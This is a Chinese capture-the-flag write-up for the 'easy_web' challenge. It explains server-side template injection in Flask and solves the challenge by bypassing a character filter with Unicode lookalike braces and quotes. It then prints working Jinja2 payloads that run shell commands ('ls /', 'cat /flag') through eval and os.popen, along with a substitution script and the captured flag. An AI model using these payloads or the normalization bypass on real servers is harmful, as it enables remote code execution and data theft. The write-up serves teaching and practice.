【攻防世界】easy_web(太湖杯)
基础知识
SSTI:
SSTI(Server-Side Template Injection,服务端模板注入)是一种严重的Web安全漏洞,它允许攻击者利用应用程序中的模板引擎执行恶意代码。这种漏洞通常出现在Web应用程序中,当应用程序使用如Flask、Django、Spring等框架时,一般会采用比较成熟的MVC(Model-View-Controller)模式,此时用户的输入可能会被直接用作模板内容的一部分,而未经适当的处理或过滤。
而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题;
虽然很多关于SSTI的题出在python上,但是请不要认为这种攻击方式只存在于 Python ,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。
详见:SSTI漏洞浅析(常见模板注入、waf绕过) - Antoniiiia - 博客园
题目
拿到题目后先尝试扫描目录,没有发现有用的信息。

进入题目,是一个字符规范器,首先有输入框,尝试注入

发现有对符号进行过滤,对输入框进行爆破,输入ASCII码33~127的所有字符(即特殊符号、字母大小写、数字),结果为这些被过滤
! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~

再抓包看回显,发现用的是python,想到flask模板注入

本来应该用{{1+1}}来验证的,但是存在对两边括号的过滤,鉴于该网站的字符规范功能,尝试找一些相近的字符让它规范成{}
特殊字符的网站:特殊符号 特殊符号大全

经过尝试,发现可以构造如下payload绕过过滤,且括号内的算式被计算了,说明该网站存在SSTI漏洞
︷︷1+1︸︸

接下来使用一个非常好用的ssti模板注入payload
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
使用脚本替换会被过滤的单双引号和花括号
""" { -> ︷/﹛ } -> ︸/﹜ ' -> ' , -> , " -> " """ str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串 # 如果需要替换,使用replace(被替换的字符,替换后的字符) str = str.replace('{', '︷') str = str.replace('}', '︸') str = str.replace('\'', ''') str = str.replace('\"', '"') print(str)
payload替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

没什么可疑的,看看根目录/下的
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag,修改payload,直接查看
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

拿到flag
flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

浙公网安备 33010602011771号